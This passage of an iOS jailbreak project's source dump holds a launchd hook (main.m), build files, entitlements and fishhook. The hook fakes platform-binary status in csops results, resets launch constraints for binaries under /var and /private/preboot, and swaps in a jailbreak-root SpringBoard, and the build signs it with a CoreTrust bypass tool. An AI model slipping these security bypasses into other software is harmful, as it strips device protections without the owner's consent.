flags);\n\n__END_DECLS\n\n#endif"
  },
  {
    "path": "RootHelperSample/launchdshim/launchdhook/LICENCE",
    "content": "MIT License\n\nCopyright (c) 2023 Hariz Shirazi (https://bomberfish.ca)\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "RootHelperSample/launchdshim/launchdhook/Makefile",
    "content": "TARGET := iphone:clang:latest:15.0\nARCHS = arm64e\nTHEOS_PACKAGE_SCHEME = roothide\ninclude $(THEOS)/makefiles/common.mk\n\nLIBRARY_NAME = launchdhook\n\nlaunchdhook_FILES = $(wildcard *.m) $(wildcard *.c) $(wildcard verbose/*.m)\nlaunchdhook_CFLAGS = -fobjc-arc -isystem \"../../../usprebooter/Private Headers I stole from the macOS SDK\" -Wno-error\nlaunchdhook_CODESIGN_FLAGS = -S../launchdentitlements.plist\nlaunchdhook_LDFLAGS = -F./Frameworks\nlaunchdhook_EXTRA_FRAMEWORKS += IOMobileFramebuffer IOSurface\nafter-package::\n\techo \"[*] Signing lunchd hook\"\n\t../../../ChOma/output/tests/ct_bypass -i .theos/obj/debug/launchdhook.dylib -o launchdhooksigned.dylib\ninclude $(THEOS_MAKE_PATH)/library.mk\n"
  },
  {
    "path": "RootHelperSample/launchdshim/launchdhook/README.md",
    "content": "# FBWrite\n\nWrite text to the framebuffer, with style."
  },
  {
    "path": "RootHelperSample/launchdshim/launchdhook/build.sh",
    "content": "make\n/Users/ibarahime/ChOma/ct_bypass -i .theos/obj/debug/launchdhook.dylib -r -o launchdhooksigned.dylib\n"
  },
  {
    "path": "RootHelperSample/launchdshim/launchdhook/control",
    "content": "Package: ca.bomberfish.fbwrite\nName: FBWrite\nVersion: 0.0.1\nArchitecture: iphoneos-arm\nDescription: Write to the framebuffer with style.\nMaintainer: BomberFish Industries\nAuthor: BomberFish Industries\nSection: System\nTag: role::hacker\n"
  },
  {
    "path": "RootHelperSample/launchdshim/launchdhook/entitlements.plist",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\n<dict>\n    <key>get-task-allow</key>\n    <true/>\n    <key>platform-application</key>\n    <true/>\n    <key>com.apple.private.security.no-container</key>\n    <true/>\n    <key>com.apple.private.allow-explicit-graphics-priority</key>\n    <true/>\n    <key>com.apple.security.iokit-user-client-class</key>\n    <array>\n        <string>IOSurfaceRootUserClient</string>\n        <string>IOMobileFramebufferUserClient</string>\n        <string>IOHIDEventServiceUserClient</string>\n    </array>\n</dict>\n</plist>"
  },
  {
    "path": "RootHelperSample/launchdshim/launchdhook/fishhook.c",
    "content": "// Copyright (c) 2013, Facebook, Inc.\n// All rights reserved.\n// Redistribution and use in source and binary forms, with or without\n// modification, are permitted provided that the following conditions are met:\n//   * Redistributions of source code must retain the above copyright notice,\n//     this list of conditions and the following disclaimer.\n//   * Redistributions in binary form must reproduce the above copyright notice,\n//     this list of conditions and the following disclaimer in the documentation\n//     and/or other materials provided with the distribution.\n//   * Neither the name Facebook nor the names of its contributors may be used to\n//     endorse or promote products derived from this software without specific\n//     prior written permission.\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\n// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n#include \"fishhook.h\"\n\n#include <dlfcn.h>\n#include <stdbool.h>\n#include <stdlib.h>\n#include <string.h>\n#include <sys/mman.h>\n#include <sys/types.h>\n#include <mach/mach.h>\n#include <mach/vm_map.h>\n#include <mach/vm_region.h>\n#include <mach-o/dyld.h>\n#include <mach-o/loader.h>\n#include <mach-o/nlist.h>\n\n#if __has_include(<ptrauth.h>)\n#include <ptrauth.h>\n#endif\n\n#ifdef __LP64__\ntypedef struct mach_header_64 mach_header_t;\ntypedef struct segment_command_64 segment_command_t;\ntypedef struct section_64 section_t;\ntypedef struct nlist_64 nlist_t;\n#define LC_SEGMENT_ARCH_DEPENDENT LC_SEGMENT_64\n#else\ntypedef struct mach_header mach_header_t;\ntypedef struct segment_command segment_command_t;\ntypedef struct section section_t;\ntypedef struct nlist nlist_t;\n#define LC_SEGMENT_ARCH_DEPENDENT LC_SEGMENT\n#endif\n\n#ifndef SEG_DATA_CONST\n#define SEG_DATA_CONST  \"__DATA_CONST\"\n#endif\n\nstruct rebindings_entry {\n  struct rebinding *rebindings;\n  size_t rebindings_nel;\n  struct rebindings_entry *next;\n};\n\nstatic struct rebindings_entry *_rebindings_head;\n\nstatic int prepend_rebindings(struct rebindings_entry **rebindings_head,\n                              struct rebinding rebindings[],\n                              size_t nel) {\n  struct rebindings_entry *new_entry = (struct rebindings_entry *) malloc(sizeof(struct rebindings_entry));\n  if (!new_entry) {\n    return -1;\n  }\n  new_entry->rebindings = (struct rebinding *) malloc(sizeof(struct rebinding) * nel);\n  if (!new_entry->rebindings) {\n    free(new_entry);\n    return -1;\n  }\n  memcpy(new_entry->rebindings, rebindings, sizeof(struct rebinding) * nel);\n  new_entry->rebindings_nel = nel;\n  new_entry->next = *rebindings_head;\n  *rebindings_head = new_entry;\n  return 0;\n}\n\n#if 0\nstatic int get_protection(void *addr, vm_prot_t *prot, vm_prot_t *max_prot) {\n  mach_port_t task = mach_task_self();\n  vm_size_t size = 0;\n  vm_address_t address = (vm_address_t)addr;\n  memory_object_name_t object;\n#ifdef __LP64__\n  mach_msg_type_number_t count = VM_REGION_BASIC_INFO_COUNT_64;\n  vm_region_basic_info_data_64_t info;\n  kern_return_t info_ret = vm_region_64(\n      task, &address, &size, VM_REGION_BASIC_INFO_64, (vm_region_info_64_t)&info, &count, &object);\n#else\n  mach_msg_type_number_t count = VM_REGION_BASIC_INFO_COUNT;\n  vm_region_basic_info_data_t info;\n  kern_return_t info_ret = vm_region(task, &address, &size, VM_REGION_BASIC_INFO, (vm_region_info_t)&info, &count, &object);\n#endif\n  if (info_ret == KERN_SUCCESS) {\n    if (prot != NULL)\n      *prot = info.protection;\n\n    if (max_prot != NULL)\n      *max_prot = info.max_protection;\n\n    return 0;\n  }\n\n  return -1;\n}\n#endif\n\nstatic void perform_rebinding_with_section(struct rebindings_entry *rebindings,\n                                           section_t *section,\n                                           intptr_t slide,\n                                           nlist_t *symtab,\n                                           char *strtab,\n                                           uint32_t *indirect_symtab) {\n  uint32_t *indirect_symbol_indices = indirect_symtab + section->reserved1;\n  void **indirect_symbol_bindings = (void **)((uintptr_t)slide + section->addr);\n\n  for (uint i = 0; i < section->size / sizeof(void *); i++) {\n    uint32_t symtab_index = indirect_symbol_indices[i];\n    if (symtab_index == INDIRECT_SYMBOL_ABS || symtab_index == INDIRECT_SYMBOL_LOCAL ||\n        symtab_index == (INDIRECT_SYMBOL_LOCAL   | INDIRECT_SYMBOL_ABS)) {\n      continue;\n    }\n    uint32_t strtab_offset = symtab[symtab_index].n_un.n_strx;\n    char *symbol_name = strtab + strtab_offset;\n    bool symbol_name_longer_than_1 = symbol_name[0] && symbol_name[1];\n    struct rebindings_entry *cur = rebindings;\n    while (cur) {\n      for (uint j = 0; j < cur->rebindings_nel; j++) {\n        if (symbol_name_longer_than_1 && strcmp(&symbol_name[1], cur->rebindings[j].name) == 0) {\n          kern_return_t err;\n\n          if (cur->rebindings[j].replaced != NULL && indirect_symbol_bindings[i] != cur->rebindings[j].replacement)\n            *(cur->rebindings[j].replaced) = indirect_symbol_bindings[i];\n\n          /**\n           * 1. Moved the vm protection modifying codes to here to reduce the\n           *    changing scope.\n           * 2. Adding VM_PROT_WRITE mode unconditionally because vm_region\n           *    API on some iOS/Mac reports mismatch vm protection attributes.\n           * -- Lianfu Hao Jun 16th, 2021\n           **/\n          err = vm_protect (mach_task_self (), (uintptr_t)indirect_symbol_bindings, section->size, 0, VM_PROT_READ | VM_PROT_WRITE | VM_PROT_COPY);\n          if (err == KERN_SUCCESS) {\n            /**\n             * Once we failed to change the vm protection, we\n             * MUST NOT continue the following write actions!\n             * iOS 15 has corrected the const segments prot.\n             * -- Lionfore Hao Jun 11th, 2021\n             **/\n            #if !__has_feature(ptrauth_calls)\n            indirect_symbol_bindings[i] = cur->rebindings[j].replacement;\n            #else\n            void *replacement = cur->rebindings[j].replacement;\n            if (!strcmp(section->sectname, \"__auth_got\")) {\n              void *stripped = ptrauth_strip(replacement, ptrauth_key_process_independent_code);\n              replacement = ptrauth_sign_unauthenticated(stripped, ptrauth_key_process_independent_code, &indirect_symbol_bindings[i]);\n            }\n            indirect_symbol_bindings[i] = replacement;\n            #endif\n          }\n          goto symbol_loop;\n        }\n      }\n      cur = cur->next;\n    }\n  symbol_loop:;\n  }\n}\n\nstatic void rebind_symbols_for_image(struct rebindings_entry *rebindings,\n                                     const struct mach_header *header,\n                                     intptr_t slide) {\n  Dl_info info;\n  if (dladdr(header, &info) == 0) {\n    return;\n  }\n\n  segment_command_t *cur_seg_cmd;\n  segment_command_t *linkedit_segment = NULL;\n  struct symtab_command* symtab_cmd = NULL;\n  struct dysymtab_command* dysymtab_cmd = NULL;\n\n  uintptr_t cur = (uintptr_t)header + sizeof(mach_header_t);\n  for (uint i = 0; i < header->ncmds; i++, cur += cur_seg_cmd->cmdsize) {\n    cur_seg_cmd = (segment_command_t *)cur;\n    if (cur_seg_cmd->cmd == LC_SEGMENT_ARCH_DEPENDENT) {\n      if (strcmp(cur_seg_cmd->segname, SEG_LINKEDIT) == 0) {\n        linkedit_segment = cur_seg_cmd;\n      }\n    } else if (cur_seg_cmd->cmd == LC_SYMTAB) {\n      symtab_cmd = (struct symtab_command*)cur_seg_cmd;\n    } else if (cur_seg_cmd->cmd == LC_DYSYMTAB) {\n      dysymtab_cmd = (struct dysymtab_command*)cur_seg_cmd;\n    }\n  }\n\n  if (!symtab_cmd || !dysymtab_cmd || !linkedit_segment ||\n      !dysymtab_cmd->nindirectsyms) {\n    return;\n  }\n\n  // Find base symbol/string table addresses\n  uintptr_t linkedit_base = (uintptr_t)slide + linkedit_segment->vmaddr - linkedit_segment->fileoff;\n  nlist_t *symtab = (nlist_t *)(linkedit_base + symtab_cmd->symoff);\n  char *strtab = (char *)(linkedit_base + symtab_cmd->stroff);\n\n  // Get indirect symbol table (array of uint32_t indices into symbol table)\n  uint32_t *indirect_symtab = (uint32_t *)(linkedit_base + dysymtab_cmd->indirectsymoff);\n\n  cur = (uintptr_t)header + sizeof(mach_header_t);\n  for (uint i = 0; i < header->ncmds; i++, cur += cur_seg_cmd->cmdsize) {\n    cur_seg_cmd = (segment_command_t *)cur;\n    if (cur_seg_cmd->cmd == LC_SEGMENT_ARCH_DEPENDENT) {\n      if (strcmp(cur_seg_cmd->segname, SEG_DATA) != 0 &&\n          strcmp(cur_seg_cmd->segname, SEG_DATA_CONST) != 0) {\n        continue;\n      }\n      for (uint j = 0; j < cur_seg_cmd->nsects; j++) {\n        section_t *sect =\n          (section_t *)(cur + sizeof(segment_command_t)) + j;\n        if ((sect->flags & SECTION_TYPE) == S_LAZY_SYMBOL_POINTERS) {\n          perform_rebinding_with_section(rebindings, sect, slide, symtab, strtab, indirect_symtab);\n        }\n        if ((sect->flags & SECTION_TYPE) == S_NON_LAZY_SYMBOL_POINTERS) {\n          perform_rebinding_with_section(rebindings, sect, slide, symtab, strtab, indirect_symtab);\n        }\n      }\n    }\n  }\n}\n\nstatic void _rebind_symbols_for_image(const struct mach_header *header,\n                                      intptr_t slide) {\n    rebind_symbols_for_image(_rebindings_head, header, slide);\n}\n\nint rebind_symbols_image(void *header,\n                         intptr_t slide,\n                         struct rebinding rebindings[],\n                         size_t rebindings_nel) {\n    struct rebindings_entry *rebindings_head = NULL;\n    int retval = prepend_rebindings(&rebindings_head, rebindings, rebindings_nel);\n    rebind_symbols_for_image(rebindings_head, (const struct mach_header *) header, slide);\n    if (rebindings_head) {\n      free(rebindings_head->rebindings);\n    }\n    free(rebindings_head);\n    return retval;\n}\n\nint rebind_symbols(struct rebinding rebindings[], size_t rebindings_nel) {\n  int retval = prepend_rebindings(&_rebindings_head, rebindings, rebindings_nel);\n  if (retval < 0) {\n    return retval;\n  }\n  // If this was the first call, register callback for image additions (which is also invoked for\n  // existing images, otherwise, just run on existing images\n  if (!_rebindings_head->next) {\n    _dyld_register_func_for_add_image(_rebind_symbols_for_image);\n  } else {\n    uint32_t c = _dyld_image_count();\n    for (uint32_t i = 0; i < c; i++) {\n      _rebind_symbols_for_image(_dyld_get_image_header(i), _dyld_get_image_vmaddr_slide(i));\n    }\n  }\n  return retval;\n}\n"
  },
  {
    "path": "RootHelperSample/launchdshim/launchdhook/fishhook.h",
    "content": "// Copyright (c) 2013, Facebook, Inc.\n// All rights reserved.\n// Redistribution and use in source and binary forms, with or without\n// modification, are permitted provided that the following conditions are met:\n//   * Redistributions of source code must retain the above copyright notice,\n//     this list of conditions and the following disclaimer.\n//   * Redistributions in binary form must reproduce the above copyright notice,\n//     this list of conditions and the following disclaimer in the documentation\n//     and/or other materials provided with the distribution.\n//   * Neither the name Facebook nor the names of its contributors may be used to\n//     endorse or promote products derived from this software without specific\n//     prior written permission.\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\n// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n#ifndef fishhook_h\n#define fishhook_h\n\n#include <stddef.h>\n#include <stdint.h>\n\n#if !defined(FISHHOOK_EXPORT)\n#define FISHHOOK_VISIBILITY __attribute__((visibility(\"hidden\")))\n#else\n#define FISHHOOK_VISIBILITY __attribute__((visibility(\"default\")))\n#endif\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif //__cplusplus\n\n/*\n * A structure representing a particular intended rebinding from a symbol\n * name to its replacement\n */\nstruct rebinding {\n  const char *name;\n  void *replacement;\n  void **replaced;\n};\n\n/*\n * For each rebinding in rebindings, rebinds references to external, indirect\n * symbols with the specified name to instead point at replacement for each\n * image in the calling process as well as for all future images that are loaded\n * by the process. If rebind_functions is called more than once, the symbols to\n * rebind are added to the existing list of rebindings, and if a given symbol\n * is rebound more than once, the later rebinding will take precedence.\n */\nFISHHOOK_VISIBILITY\nint rebind_symbols(struct rebinding rebindings[], size_t rebindings_nel);\n\n/*\n * Rebinds as above, but only in the specified image. The header should point\n * to the mach-o header, the slide should be the slide offset. Others as above.\n */\nFISHHOOK_VISIBILITY\nint rebind_symbols_image(void *header,\n                         intptr_t slide,\n                         struct rebinding rebindings[],\n                         size_t rebindings_nel);\n\n#ifdef __cplusplus\n}\n#endif //__cplusplus\n\n#endif //fishhook_h\n\n"
  },
  {
    "path": "RootHelperSample/launchdshim/launchdhook/main.m",
    "content": "#include <mach-o/dyld.h>\n#include <mach-o/dyld_images.h>\n#include <Foundation/Foundation.h>\n#include <bsm/audit.h>\n#include <xpc/xpc.h>\n#include <stdio.h>\n#include \"fishhook.h\"\n#include <spawn.h>\n#include <limits.h>\n#include <dirent.h>\n#include <stdbool.h>\n#include <errno.h>\n\n#include <roothide.h>\n#include <signal.h>\n\n#define PT_DETACH 11    /* stop tracing a process */\n#define PT_ATTACHEXC 14 /* attach to running process with signal exception */\nint ptrace(int request, pid_t pid, caddr_t addr, int data);\n\nint posix_spawnattr_set_launch_type_np(posix_spawnattr_t *attr, uint8_t launch_type);\n\nint (*orig_csops)(pid_t pid, unsigned int  ops, void * useraddr, size_t usersize);\nint (*orig_csops_audittoken)(pid_t pid, unsigned int  ops, void * useraddr, size_t usersize, audit_token_t * token);\nint (*orig_posix_spawn)(pid_t * __restrict pid, const char * __restrict path,\n                        const posix_spawn_file_actions_t *file_actions,\n                        const posix_spawnattr_t * __restrict attrp,\n                        char *const argv[ __restrict], char *const envp[ __restrict]);\n\nint (*orig_posix_spawnp)(pid_t *restrict pid, const char *restrict path, const posix_spawn_file_actions_t *restrict file_actions, const posix_spawnattr_t *restrict attrp, char *const argv[restrict], char *const envp[restrict]);\n\n\nint hooked_csops(pid_t pid, unsigned int ops, void *useraddr, size_t usersize) {\n    int result = orig_csops(pid, ops, useraddr, usersize);\n    if (result != 0) return result;\n    if (ops == 0) { // CS_OPS_STATUS\n        *((uint32_t *)useraddr) |= 0x4000000; // CS_PLATFORM_BINARY\n    }\n    return result;\n}\n\nint hooked_csops_audittoken(pid_t pid, unsigned int ops, void * useraddr, size_t usersize, audit_token_t * token) {\n    int result = orig_csops_audittoken(pid, ops, useraddr, usersize, token);\n    if (result != 0) return result;\n    if (ops == 0) { // CS_OPS_STATUS\n        *((uint32_t *)useraddr) |= 0x4000000; // CS_PLATFORM_BINARY\n    }\n    return result;\n}\n\nvoid change_launchtype(const posix_spawnattr_t *attrp, const char *restrict path) {\n    const char *prefixes[] = {\n        \"/private/var\",\n        \"/var\",\n        \"/private/preboot\"\n    };\n\n    if (__builtin_available(macOS 13.0, iOS 16.0, tvOS 16.0, watchOS 9.0, *)) {\n        for (size_t i = 0; i < sizeof(prefixes) / sizeof(prefixes[0]); ++i) {\n            size_t prefix_len = strlen(prefixes[i]);\n            if (strncmp(path, prefixes[i], prefix_len) == 0) {\n//                FILE *file = fopen(\"/var/mobile/lunchd.log\", \"a\");\n                if (/*file && */attrp != 0) {\n//                    char output[1024];\n//                    sprintf(output, \"[lunchd] setting launch type path %s to 0\\n\", path);\n//                    fputs(output, file);\n//                    fclose(file);\n                    posix_spawnattr_set_launch_type_np((posix_spawnattr_t *)attrp, 0); // needs ios 16.0 sdk\n                }\n                break;\n            }\n        }\n    }\n}\n\n\nint hooked_posix_spawn(pid_t *pid, const char *path, const posix_spawn_file_actions_t *file_actions, const posix_spawnattr_t *attrp, char *const argv[], char *const envp[]) {\n    change_launchtype(attrp, path);\n//    const char *launchdPath = \"/sbin/launchd\";\n//    const char *coolerLaunchd = jbroot(\"lunchd\");\n//    if (!strncmp(path, launchdPath, strlen(launchdPath))) {\n//        posix_spawnattr_set_launch_type_np((posix_spawnattr_t *)attrp, 0);\n//        path = coolerLaunchd;\n//        return orig_posix_spawn(pid, path, file_actions, attrp, argv, envp);\n//    }\n    return orig_posix_spawn(pid, path, file_actions, attrp, argv, envp);\n}\n\nint hooked_posix_spawnp(pid_t *restrict pid, const char *restrict path, const posix_spawn_file_actions_t *restrict file_actions, posix_spawnattr_t *attrp, char *const argv[restrict], char *const envp[restrict]) {\n    change_launchtype(attrp, path);\n    const char *springboardPath = \"/System/Library/CoreServices/SpringBoard.app/SpringBoard\";\n    const char *coolerSpringboard = jbroot(\"/System/Library/CoreServices/SpringBoard.app/SpringBoard\");\n\n    if (!strncmp(path, springboardPath, strlen(springboardPath))) {\n        posix_spawnattr_set_launch_type_np((posix_spawnattr_t *)attrp, 0);\n//        FILE *file = fopen(\"/var/mobile/lunchd.log\", \"a\");\n//        char output[1024];\n//        sprintf(output, \"[lunchd] changing path %s to %s\\n\", path, coolerSpringboard);\n//        fputs(output, file);\n        path = coolerSpringboard;\n//        fclose(file);\n        return posix_spawnp(pid, path, file_actions, (posix_spawnattr_t *)attrp, argv, envp);\n    }\n            \n    return orig_posix_spawnp(pid, path, file_actions, (posix_spawnattr_t *)attrp, argv, envp);\n}\n\n\nbool (*xpc_dictionary_get_bool_orig)(xpc_object_t dictionary, const char *key);\nbool hook_xpc_dictionary_get_bool(xpc_object_t dictionary, const char *key) {\n    if (!strcmp(key, \"LogPerformanceStatistics\")) return true;\n    else return xpc_dictionary_get_bool_orig(dictionary, key);\n}\n\nvoid initVerboseFramebuffer(void);\n\n__attribute__((constructor)) static void init(int argc, char **argv) {\n//    FILE *file;\n//    file = fopen(\"/var/mobile/lunchd.log\", \"w\");\n//    char output[1024];\n//    sprintf(output, \"[lunchd] launchdhook pid %d\", getpid());\n//    printf(\"[lunchd] launchdhook pid %d\", getpid());\n//    fputs(output, file);\n//    fclose(file);\n//    sync();\n\n    bool verboseBoot = false;\n    NSString *verboseBootPath = @\"/var/mobile/.serotonin_verbose\";\n    NSString *happyMac = @\"/var/mobile/boot-happy.jp2\";\n    NSString *sadMac = @\"/var/mobile/boot-sad.jp2\";\n\n    if ([NSFileManager.defaultManager fileExistsAtPath:verboseBootPath]) {\n        verboseBoot = true;\n    }\n\n    if (verboseBoot) {\n        initVerboseFramebuffer();\n    } else {\n        // TODO: Boot splash\n    }\n\n    printf(\"[lunchd] launchdhook pid %d\", getpid());\n    if (getpid() == 1) {\n        printf(\"============\\n\");\n        printf(\"== WE ARE ==\\n\");\n        printf(\"==  PID1  ==\\n\");\n        printf(\"============\\n\\n\");\n        printf(\"Also, my parent is %d\\n\", getppid());\n    }\n    struct rebinding rebindings[] = (struct rebinding[]){\n        {\"csops\", hooked_csops, (void *)&orig_csops},\n        {\"csops_audittoken\", hooked_csops_audittoken, (void *)&orig_csops_audittoken},\n        {\"posix_spawn\", hooked_posix_spawn, (void *)&orig_posix_spawn},\n        {\"posix_spawnp\", hooked_posix_spawnp, (void *)&orig_posix_spawnp},\n        {\"xpc_dictionary_get_bool\", hook_xpc_dictionary_get_bool, (void *)&xpc_dictionary_get_bool_orig},\n    };\n    rebind_symbols(rebindings, sizeof(rebindings)/sizeof(struct rebinding));\n}\n"
  },
  {
    "path": "RootHelperSample/launchdshim/launchdhook/verbose/IOMobileFramebuffer.h",
    "content": "#ifndef IOMOBILEFRAMEBUFFER_IOMOBILEFRAMEBUFFER_H\n#define IOMOBILEFRAMEBUFFER_IOMOBILEFRAMEBUFFER_H\n\n#include <CoreFoundation/CoreFoundation.h>\n#include <IOKit/IOKitLib.h>\n#include <IOKit/IOTypes.h>\n#include <CoreGraphics/CoreGraphics.h>\n\ntypedef IOReturn IOMobileFramebufferReturn;\ntypedef struct __IOMobileFramebuffer *IOMobileFramebufferRef;\ntypedef CGSize IOMobileFramebufferDisplaySize;\n\n__BEGIN_DECLS\n\nIOMobileFramebufferReturn\nIOMobileFramebufferGetMainDisplay(IOMobileFramebufferRef *pointer);\n\nIOMobileFramebufferReturn\nIOMobileFramebufferGetDisplaySize(IOMobileFramebufferRef pointer, IOMobileFramebufferDisplaySize *size);\n\nIOMobileFramebufferReturn\nIOMobileFramebufferGetLayerDefaultSurface(IOMobileFramebufferRef pointer, int surface, IOSurfaceRef *buffer);\n\nIOMobileFramebufferReturn\nIOMobileFramebufferSwapBegin(IOMobileFramebufferRef pointer, int *token);\n\nIOMobileFramebufferReturn\nIOMobileFramebufferSwapEnd(IOMobileFramebufferRef pointer);\n\nIOMobileFramebufferReturn\nIOMobileFramebufferSwapSetLayer(IOMobileFramebufferRef pointer, int layerid, IOSurfaceRef buffer, CGRect bounds, CGRect frame, int flags);\n\n__END_DECLS\n\n#endif"
  },
  {
    "path": "RootHelperSample/launchdshim/launchdhook/verbose/console/iso_font.c",
    "content": "/*\n * Copyright (c) 2000 Apple Computer, Inc. All rights reserved.\n *\n * @APPLE_OSREFERENCE_LICENSE_HEADER_START@\n *\n * This file contains Original Code and/or Modifications of Original Code\n * as defined in and that are subject to the Apple Public Source License\n * Version 2.0 (the 'License'). You may not use this file except in\n * compliance with the License. The rights granted to you under the License\n * may not be used to create, or enable the creation or redistribution of,\n * unlawful or unlicensed copies of an Apple operating system, or to\n * circumvent, violate, or enable the circumvention or violation of, any\n * terms of an Apple operating system software license agreement.\n *\n * Please obtain a copy of the License at\n * http://www.opensource.apple.com/apsl/ and read it before using this file.\n *\n * The Original Code and all software distributed under the License are\n * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER\n * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,\n * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.\n * Please see the License for the specific language governing rights and\n * limitations under the License.\n *\n * @APPLE_OSREFERENCE_LICENSE_HEADER_END@\n */\n/*\n * @OSF_COPYRIGHT@\n */\n\n/*\n * ISO Latin-1 Font\n *\n * Copyright (c) 2000\n * Ka-Ping Yee <ping@lfw.org>\n *\n * This font may be freely used for any purpose.\n */\n\n/*\n * adjusted 'A' 'V' to improve their dense appearance (ie. lightened)\n * adjusted 'i' 'l' to improve their flow within a word (ie. widened)\n * adjusted 'E' 'F' '#'\n */\n\nunsigned char iso_font[256 * 16] = {\n/*   0 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/*   1 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/*   2 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/*   3 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/*   4 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/*   5 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/*   6 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/*   7 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/*   8 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/*   9 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/*  10 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/*  11 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/*  12 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/*  13 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/*  14 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 